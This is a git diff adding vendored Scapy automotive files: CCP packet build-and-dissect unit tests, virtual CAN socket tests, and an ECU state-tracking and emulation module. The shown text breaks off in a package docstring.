b'\xff\xff\xff\xff\xff' + += Build CRO START_STOP + +cro = CCP(identifier=0x700)/CRO(ctr=0x47)/START_STOP(mode=1, DAQ_num=3, ODT_num=7, event_channel=2, transmission_rate=1) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x47 +assert cro.cmd == 0x06 +assert cro.mode == 0x01 +assert cro.DAQ_num == 3 +assert cro.event_channel == 2 +assert cro.transmission_rate == 1 +assert cro.ODT_num == 7 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x06\x47\x01\x03\x07\x02\x00\x01' + += Dissect DTO START_STOP + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x47\xff\xff\xff\xff\xff') + +assert dto.ctr == 71 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 71 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO DISCONNECT + +cro = CCP(identifier=0x700)/CRO(ctr=0x48)/DISCONNECT(type="temporary", station_address=0x208) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x48 +assert cro.cmd == 0x07 +assert cro.type == 0x00 +assert cro.station_address == 0x208 +assert cro.ccp_reserved0 == b"\xff" +assert cro.ccp_reserved == b"\xff" * 2 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x07\x48\x00\xff\x08\x02\xff\xff' + += Dissect DTO DISCONNECT + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x48\xff\xff\xff\xff\xff') + +assert dto.ctr == 72 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 72 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO SET_S_STATUS + +cro = CCP(identifier=0x700)/CRO(ctr=0x49)/SET_S_STATUS(session_status="RUN+CAL") + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x49 +assert cro.cmd == 0x0c +assert cro.session_status == 0x81 +assert cro.ccp_reserved == b"\xff" * 5 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0c\x49\x81\xff\xff\xff\xff\xff' + += Dissect DTO SET_S_STATUS + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x49\xff\xff\xff\xff\xff') + +assert dto.ctr == 73 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 73 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO GET_S_STATUS + +cro = CCP(identifier=0x700)/CRO(ctr=0x4a)/GET_S_STATUS() + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x4a +assert cro.cmd == 0x0D +assert cro.ccp_reserved == b"\xff" * 6 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0d\x4a\xff\xff\xff\xff\xff\xff' + += Dissect DTO GET_S_STATUS + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x4a\x81\xff\xff\xff\xff') + +assert dto.ctr == 74 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x81\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 74 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.session_status == 0x81 +assert dto.information_qualifier == 0xff +assert dto.information == b"\xff" * 3 + += Build CRO BUILD_CHKSUM + +cro = CCP(identifier=0x700)/CRO(ctr=0x50)/BUILD_CHKSUM(size=0x8000) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x50 +assert cro.cmd == 0x0e +assert cro.size == 0x8000 +assert cro.ccp_reserved == b"\xff" * 2 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0e\x50\x00\x00\x80\x00\xff\xff' + += Dissect DTO BUILD_CHKSUM + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x02\x12\x34\xff\xff') + +assert dto.ctr == 80 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x02\x12\x34\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 80 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.checksum_size == 2 +assert dto.checksum_data == b'\x12\x34' +assert dto.ccp_reserved == b'\xff\xff' + += Dissect DTO BUILD_CHKSUM2 + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x04\x12\x34\x56\x78') + +assert dto.ctr == 80 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x04\x12\x34\x56\x78' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 80 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.checksum_size == 4 +assert dto.checksum_data == b'\x12\x34\x56\x78' +assert dto.ccp_reserved == b'' + += Build CRO CLEAR_MEMORY + +cro = CCP(identifier=0x700)/CRO(ctr=0x51)/CLEAR_MEMORY(size=0x8000) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x51 +assert cro.cmd == 0x10 +assert cro.size == 0x8000 +assert cro.ccp_reserved == b"\xff" * 2 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x10\x51\x00\x00\x80\x00\xff\xff' + += Dissect DTO CLEAR_MEMORY + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x51\xff\xff\xff\xff\xff') + +assert dto.ctr == 81 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 81 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO PROGRAM + +cro = CCP(identifier=0x700)/CRO(ctr=0x52)/PROGRAM(size=0x3, data=b"\x10\x11\x12") + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x52 +assert cro.cmd == 0x18 +assert cro.size == 0x3 +assert cro.data == b"\x10\x11\x12" +assert cro.ccp_reserved == b"\xff" * 5 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x18\x52\x03\x10\x11\x12\xff\xff' + += Dissect DTO PROGRAM + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x52\x02\x34\x00\x20\x03') + +assert dto.ctr == 82 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x02\x34\x00\x20\x03' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 82 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 2 +assert dto.MTA0_address == 0x34002003 + += Build CRO PROGRAM_6 + +cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12") + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x53 +assert cro.cmd == 0x22 +assert cro.data == b"\x10\x11\x12\x10\x11\x12" +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x22\x53\x10\x11\x12\x10\x11\x12' + += Dissect DTO PROGRAM_6 + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06') + +assert dto.ctr == 83 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x02\x34\x00\x20\x06' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 83 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 2 +assert dto.MTA0_address == 0x34002006 + += Build CRO MOVE + +cro = CCP(identifier=0x700)/CRO(ctr=0x54)/MOVE(size=0x8000) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x54 +assert cro.cmd == 0x19 +assert cro.size == 0x8000 +assert cro.ccp_reserved == b'\xff\xff' +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x19\x54\x00\x00\x80\x00\xff\xff' + += Dissect DTO MOVE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x54\xff\xff\xff\xff\xff') + +assert dto.ctr == 84 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 84 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True + += Build CRO DIAG_SERVICE + +cro = CCP(identifier=0x700)/CRO(ctr=0x55)/DIAG_SERVICE(diag_service=0x8000) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x55 +assert cro.cmd == 0x20 +assert cro.diag_service == 0x8000 +assert cro.ccp_reserved == b'\xff\xff\xff\xff' +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x20\x55\x80\x00\xff\xff\xff\xff' + += Dissect DTO DIAG_SERVICE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x20\x00\xff\xff\xff') + +assert dto.ctr == 85 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x20\x00\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 85 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.data_length == 0x20 +assert dto.data_type == 0x00 +assert dto.ccp_reserved == b"\xff\xff\xff" + += Build CRO ACTION_SERVICE + +cro = CCP(identifier=0x700)/CRO(ctr=0x56)/ACTION_SERVICE(action_service=0x8000) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x56 +assert cro.cmd == 0x21 +assert cro.action_service == 0x8000 +assert cro.ccp_reserved == b'\xff\xff\xff\xff' +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x21\x56\x80\x00\xff\xff\xff\xff' + += Dissect DTO ACTION_SERVICE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x56\x20\x00\xff\xff\xff') + +assert dto.ctr == 86 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x20\x00\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 86 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.data_length == 0x20 +assert dto.data_type == 0x00 +assert dto.ccp_reserved == b"\xff\xff\xff" + += Build CRO TEST + +cro = CCP(identifier=0x700)/CRO(ctr=0x60)/TEST(station_address=0x80) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x60 +assert cro.cmd == 0x05 +assert cro.station_address == 0x80 +assert cro.ccp_reserved == b"\xff" * 4 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x05\x60\x80\x00\xff\xff\xff\xff' + += Dissect DTO TEST + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x60\xff\xff\xff\xff\xff') + +assert dto.ctr == 96 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 96 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO START_STOP_ALL + +cro = CCP(identifier=0x700)/CRO(ctr=0x61)/START_STOP_ALL(type="start") + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x61 +assert cro.cmd == 0x08 +assert cro.type == 0x01 +assert cro.ccp_reserved == b"\xff" * 5 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x08\x61\x01\xff\xff\xff\xff\xff' + += Dissect DTO START_STOP_ALL + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x61\xff\xff\xff\xff\xff') + +assert dto.ctr == 97 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\xff\xff\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 97 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == True +assert dto.load == b'\xff\xff\xff\xff\xff' + += Build CRO GET_ACTIVE_CAL_PAGE + +cro = CCP(identifier=0x700)/CRO(ctr=0x62)/GET_ACTIVE_CAL_PAGE() + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x62 +assert cro.cmd == 0x09 +assert cro.ccp_reserved == b"\xff" * 6 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x09\x62\xff\xff\xff\xff\xff\xff' + += Dissect DTO GET_ACTIVE_CAL_PAGE + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x62\x01\x11\x44\x77\x22') + +assert dto.ctr == 98 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x01\x11\x44\x77\x22' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 98 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.address_extension == 1 +assert dto.address == 0x11447722 + += Build CRO GET_CCP_VERSION + +cro = CCP(identifier=0x700)/CRO(ctr=0x63)/GET_CCP_VERSION(main_protocol_version=2, release_version=1) + +assert cro.identifier == 0x700 +assert cro.length == 8 +assert cro.flags == 0 +assert cro.ctr == 0x63 +assert cro.cmd == 0x1b +assert cro.main_protocol_version == 2 +assert cro.release_version == 1 +assert cro.ccp_reserved == b"\xff" * 4 +assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x1b\x63\x02\x01\xff\xff\xff\xff' + +assert dto.hashret() != cro.hashret() +assert not dto.answers(cro) + += Dissect DTO GET_CCP_VERSION + +dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x63\x02\x01\xff\xff\xff') + +assert dto.ctr == 99 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert dto.load == b'\x02\x01\xff\xff\xff' +# answers will interpret payload +assert dto.answers(cro) +assert dto.ctr == 99 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.main_protocol_version == 2 +assert dto.release_version == 1 +assert dto.ccp_reserved == b"\xff" * 3 + +assert dto.hashret() == cro.hashret() + ++ Tests on a virtual CAN-Bus +~ needs_root linux + += Load modules +~ needs_root linux conf +import can +from subprocess import call +import time + +conf.contribs['CANSocket'] = {'use-python-can': True} +load_contrib("cansocket") + +iface0 = "vcan0" + += Initialize a virtual CAN interface +~ needs_root linux conf +if 0 != call("cansend %s 000#" % iface0, shell=True): + # vcan0 is not enabled + if 0 != call("sudo modprobe vcan", shell=True): + raise Exception("modprobe vcan failed") + if 0 != call("sudo ip link add name %s type vcan" % iface0, shell=True): + print("add %s failed: Maybe it was already up?" % iface0) + if 0 != call("sudo ip link set dev %s up" % iface0, shell=True): + raise Exception("could not bring up %s" % iface0) + +if 0 != call("cansend %s 000#" % iface0, shell=True): + raise Exception("cansend doesn't work") + +print("CAN should work now") + += CAN Socket sr1 with dto.ansers(cro) == True +~ needs_root linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000), basecls=CCP) +sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + +def ecu(): + pkts = sock2.sniff(count=1, timeout=1) + if len(pkts) == 1: + cro = CRO(pkts[0].data) + assert cro.cmd == 0x22 + assert cro.data == b"\x10\x11\x12\x10\x11\x12" + sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06')) + + +thread = threading.Thread(target=ecu) +thread.start() +time.sleep(0.1) + +dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) +thread.join() + +assert dto.ctr == 83 +assert dto.packet_id == 0xff +assert dto.return_code == 0 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 2 +assert dto.MTA0_address == 0x34002006 + +sock1.close() +sock2.close() + + += CAN Socket sr1 with dto.ansers(cro) == False +~ needs_root linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000), basecls=CCP) +sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + +def ecu(): + pkts = sock2.sniff(count=1, timeout=1) + if len(pkts) == 1: + cro = CRO(pkts[0].data) + assert cro.cmd == 0x22 + assert cro.data == b"\x10\x11\x12\x10\x11\x12" + sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x02\x34\x00\x20\x06')) + + +thread = threading.Thread(target=ecu) +thread.start() +time.sleep(0.1) +gotTimeout = False +try: + dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x54)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) +except CANSocketTimeoutElapsed as e: + gotTimeout = True + +assert gotTimeout +thread.join() + +sock1.close() +sock2.close() + += CAN Socket sr1 with error code +~ needs_root linux + +sock1 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000), basecls=CCP) +sock2 = CANSocket(iface=can.interface.Bus(bustype='socketcan', channel='vcan0', bitrate=250000)) + +def ecu(): + pkts = sock2.sniff(count=1, timeout=1) + if len(pkts) == 1: + cro = CRO(pkts[0].data) + assert cro.cmd == 0x22 + assert cro.data == b"\x10\x11\x12\x10\x11\x12" + sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x01\x55\xff\xff\xff\xff\xff')) + + +thread = threading.Thread(target=ecu) +thread.start() +time.sleep(0.1) + +dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x55)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) +thread.join() + +assert dto.ctr == 85 +assert dto.packet_id == 0xff +assert dto.return_code == 1 +assert hasattr(dto, "load") == False +assert dto.MTA0_extension == 0xff +assert dto.MTA0_address == 0xffffffff + +sock1.close() +sock2.close() \ No newline at end of file diff --git a/libs/scapy/contrib/automotive/ecu.py b/libs/scapy/contrib/automotive/ecu.py new file mode 100755 index 0000000..55b18e1 --- /dev/null +++ b/libs/scapy/contrib/automotive/ecu.py @@ -0,0 +1,343 @@ +#! /usr/bin/env python + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = Helper class for tracking ECU states (ECU) +# scapy.contrib.status = loads + +import time +import random + +from collections import defaultdict + +from scapy.packet import Raw, Packet +from scapy.plist import PacketList +from scapy.error import Scapy_Exception +from scapy.sessions import DefaultSession +from scapy.ansmachine import AnsweringMachine + +__all__ = ["ECU", "ECUResponse", "ECUSession", "ECU_am"] + + +class ECU(object): + """A ECU object can be used to + - track the states of an ECU. + - to log all modification to an ECU + - to extract supported responses of a real ECU + + Usage: + >>> print("This ecu logs, tracks and creates supported responses") + >>> my_virtual_ecu = ECU() + >>> my_virtual_ecu.update(PacketList([...])) + >>> my_virtual_ecu.supported_responses + >>> print("Another ecu just tracks") + >>> my_tracking_ecu = ECU(logging=False, store_supported_responses=False) # noqa: E501 + >>> my_tracking_ecu.update(PacketList([...])) + >>> print("Another ecu just logs all modifications to it") + >>> my_logging_ecu = ECU(verbose=False, store_supported_responses=False) # noqa: E501 + >>> my_logging_ecu.update(PacketList([...])) + >>> my_logging_ecu.log + >>> print("Another ecu just creates supported responses") + >>> my_response_ecu = ECU(verbose=False, logging=False) + >>> my_response_ecu.update(PacketList([...])) + >>> my_response_ecu.supported_responses + """ + def __init__(self, init_session=None, init_security_level=None, + init_communication_control=None, logging=True, verbose=True, + store_supported_responses=True): + """ + Initialize an ECU object + + :param init_session: An initial session + :param init_security_level: An initial security level + :param init_communication_control: An initial communication control + setting + :param logging: Turn logging on or off. Default is on. + :param verbose: Turn tracking on or off. Default is on. + :param store_supported_responses: Turn creation of supported responses + on or off. Default is on. + """ + self.current_session = init_session or 1 + self.current_security_level = init_security_level or 0 + self.communication_control = init_communication_control or 0 + self.verbose = verbose + self.logging = logging + self.store_supported_responses = store_supported_responses + self.log = defaultdict(list) + self._supported_responses = list() + self._unanswered_packets = PacketList() + + def reset(self): + self.current_session = 1 + self.current_security_level = 0 + self.communication_control = 0 + + def update(self, p): + if isinstance(p, PacketList): + for pkt in p: + self._update(pkt) + elif not isinstance(p, Packet): + raise Scapy_Exception("Provide a Packet object for an update") + else: + self._update(p) + + def _update(self, pkt): + if self.verbose: + print(repr(self), repr(pkt)) + if self.store_supported_responses: + self._update_supported_responses(pkt) + if self.logging: + self._update_log(pkt) + self._update_internal_state(pkt) + + def _update_log(self, pkt): + for l in pkt.layers(): + if hasattr(l, "get_log"): + log_key, log_value = l.get_log(pkt) + self.log[log_key].append((pkt.time, log_value)) + + def _update_internal_state(self, pkt): + for l in pkt.layers(): + if hasattr(l, "modifies_ecu_state"): + l.modifies_ecu_state(pkt, self) + + def _update_supported_responses(self, pkt): + self._unanswered_packets += PacketList([pkt]) + answered, unanswered = self._unanswered_packets.sr() + for _, resp in answered: + ecu_resp = ECUResponse(session=self.current_session, + security_level=self.current_security_level, + responses=resp) + + if ecu_resp not in self._supported_responses: + if self.verbose: + print("[+] ", repr(ecu_resp)) + self._supported_responses.append(ecu_resp) + else: + if self.verbose: + print("[-] ", repr(ecu_resp)) + self._unanswered_packets = unanswered + + @property + def supported_responses(self): + # This sorts responses in the following order: + # 1. Positive responses first + # 2. Lower ServiceID first + # 3. Longer (more specific) responses first + self._supported_responses.sort( + key=lambda x: (x.responses[0].service == 0x7f, + x.responses[0].service, + 0xffffffff - len(x.responses[0]))) + return self._supported_responses + + @property + def unanswered_packets(self): + return self._unanswered_packets + + def __repr__(self): + return "ses: %03d sec: %03d cc: %d" % (self.current_session, + self.current_security_level, + self.communication_control) + + +class ECUSession(DefaultSession): + """Tracks modification to an ECU 'on-the-flow'. + + Usage: + >>> sniff(session=ECUSession) + """ + + def __init__(self, *args, **kwargs): + DefaultSession.__init__(self, *args, **kwargs) + self.ecu = ECU(init_session=kwargs.pop("init_session", None), + init_security_level=kwargs.pop("init_security_level", None), # noqa: E501 + init_communication_control=kwargs.pop("init_communication_control", None), # noqa: E501 + logging=kwargs.pop("logging", True), + verbose=kwargs.pop("verbose", True), + store_supported_responses=kwargs.pop("store_supported_responses", True)) # noqa: E501 + + def on_packet_received(self, pkt): + if not pkt: + return + if isinstance(pkt, list): + for p in pkt: + ECUSession.on_packet_received(self, p) + return + self.ecu.update(pkt) + DefaultSession.on_packet_received(self, pkt) + + +class ECUResponse: + """Encapsulates a response and the according ECU state. + A list of this objects can be used to configure a ECU Answering Machine. + This is useful, if you want to clone the behaviour of a real ECU on a bus. + + Usage: + >>> print("Generates a ECUResponse which answers on UDS()/UDS_RDBI(identifiers=[2]) if ECU is in session 2 and has security_level 2") # noqa: E501 + >>> ECUResponse(session=2, security_level=2, responses=UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"deadbeef1")) # noqa: E501 + >>> print("Further examples") + >>> ECUResponse(session=range(3,5), security_level=[3,4], responses=UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b"deadbeef2")) # noqa: E501 + >>> ECUResponse(session=[5,6,7], security_level=range(5,7), responses=UDS()/UDS_RDBIPR(dataIdentifier=5)/Raw(b"deadbeef3")) # noqa: E501 + >>> ECUResponse(session=lambda x: 8 < x <= 10, security_level=lambda x: x > 10, responses=UDS()/UDS_RDBIPR(dataIdentifier=9)/Raw(b"deadbeef4")) # noqa: E501 + """ + def __init__(self, session=1, security_level=0, + responses=Raw(b"\x7f\x10"), + answers=None): + """ + Initialize an ECUResponse capsule + + :param session: Defines the session in which this response is valid. + A integer, a callable or any iterable object can be + provided. + :param security_level: Defines the security_level in which this + response is valid. A integer, a callable or any + iterable object can be provided. + :param responses: A Packet or a list of Packet objects. By default the + last packet is asked if it answers a incoming packet. + This allows to send for example + `requestCorrectlyReceived-ResponsePending` packets. + :param answers: Optional argument to provide a custom answer here: + `lambda resp, req: return resp.answers(req)` + This allows the modification of a response depending + on a request. Custom SecurityAccess mechanisms can + be implemented in this way or generic NegativeResponse + messages which answers to everything can be realized + in this way. + """ + self.__session = session \ + if hasattr(session, "__iter__") or callable(session) else [session] + self.__security_level = security_level \ + if hasattr(security_level, "__iter__") or callable(security_level)\ + else [security_level] + if isinstance(responses, PacketList): + self.responses = responses + elif isinstance(responses, Packet): + self.responses = PacketList([responses]) + elif hasattr(responses, "__iter__"): + self.responses = PacketList(responses) + else: + self.responses = PacketList([responses]) + + self.__custom_answers = answers + + def in_correct_session(self, current_session): + if callable(self.__session): + return self.__session(current_session) + else: + return current_session in self.__session + + def has_security_access(self, current_security_level): + if callable(self.__security_level): + return self.__security_level(current_security_level) + else: + return current_security_level in self.__security_level + + def answers(self, other): + if self.__custom_answers is not None: + return self.__custom_answers(self.responses[-1], other) + else: + return self.responses[-1].answers(other) + + def __repr__(self): + return "session=%s, security_level=%s, responses=%s" % \ + (self.__session, self.__security_level, + [resp.summary() for resp in self.responses]) + + def __eq__(self, other): + return \ + self.__class__ == other.__class__ and \ + self.__session == other.__session and \ + self.__security_level == other.__security_level and \ + len(self.responses) == len(other.responses) and \ + all(bytes(x) == bytes(y) for x, y in zip(self.responses, + other.responses)) + + def __ne__(self, other): + # Python 2.7 compat + return not self == other + + __hash__ = None + + +class ECU_am(AnsweringMachine): + """AnsweringMachine which emulates the basic behaviour of a real world ECU. + Provide a list of ``ECUResponse`` objects to configure the behaviour of this + AnsweringMachine. + + :param supported_responses: List of ``ECUResponse`` objects to define + the behaviour. The default response is + ``generalReject``. + :param main_socket: Defines the object of the socket to send + and receive packets. + :param broadcast_socket: Defines the object of the broadcast socket. + Listen-only, responds with the main_socket. + `None` to disable broadcast capabilities. + :param basecls: Provide a basecls of the used protocol + + Usage: + >>> resp = ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10)) # noqa: E501 + >>> sock = ISOTPSocket(can_iface, sid=0x700, did=0x600, basecls=UDS) # noqa: E501 + >>> answering_machine = ECU_am(supported_responses=[resp], main_socket=sock, basecls=UDS) # noqa: E501 + >>> sim = threading.Thread(target=answering_machine, kwargs={'count': 4, 'timeout':5}) # noqa: E501 + >>> sim.start() + """ + function_name = "ECU_am" + sniff_options_list = ["store", "opened_socket", "count", "filter", "prn", "stop_filter", "timeout"] # noqa: E501 + + def parse_options(self, supported_responses=None, + main_socket=None, broadcast_socket=None, basecls=Raw, + timeout=None): + self.main_socket = main_socket + self.sockets = [self.main_socket] + + if broadcast_socket is not None: + self.sockets.append(broadcast_socket) + + self.ecu_state = ECU(logging=False, verbose=False, + store_supported_responses=False) + self.basecls = basecls + self.supported_responses = supported_responses + + self.sniff_options["timeout"] = timeout + self.sniff_options["opened_socket"] = self.sockets + + def is_request(self, req): + return req.__class__ == self.basecls + + def print_reply(self, req, reply): + print("%s ==> %s" % (req.summary(), [res.summary() for res in reply])) + + def make_reply(self, req): + if self.supported_responses is not None: + for resp in self.supported_responses: + if not isinstance(resp, ECUResponse): + raise Scapy_Exception("Unsupported type for response. " + "Please use `ECUResponse` objects. ") + + if not resp.in_correct_session(self.ecu_state.current_session): + continue + + if not resp.has_security_access( + self.ecu_state.current_security_level): + continue + + if not resp.answers(req): + continue + + for r in resp.responses: + for l in r.layers(): + if hasattr(l, "modifies_ecu_state"): + l.modifies_ecu_state(r, self.ecu_state) + + return resp.responses + + return PacketList([self.basecls(b"\x7f" + bytes(req)[0:1] + b"\x10")]) + + def send_reply(self, reply): + for p in reply: + if len(reply) > 1: + time.sleep(random.uniform(0.01, 0.5)) + self.main_socket.send(p) diff --git a/libs/scapy/contrib/automotive/gm/__init__.py b/libs/scapy/contrib/automotive/gm/__init__.py new file mode 100755 index 0000000..d57efa8 --- /dev/null +++ b/libs/scapy/contrib/automotive/gm/__init__.py @@ -0,0 +1,11 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive gm specific modules +that have to be loaded 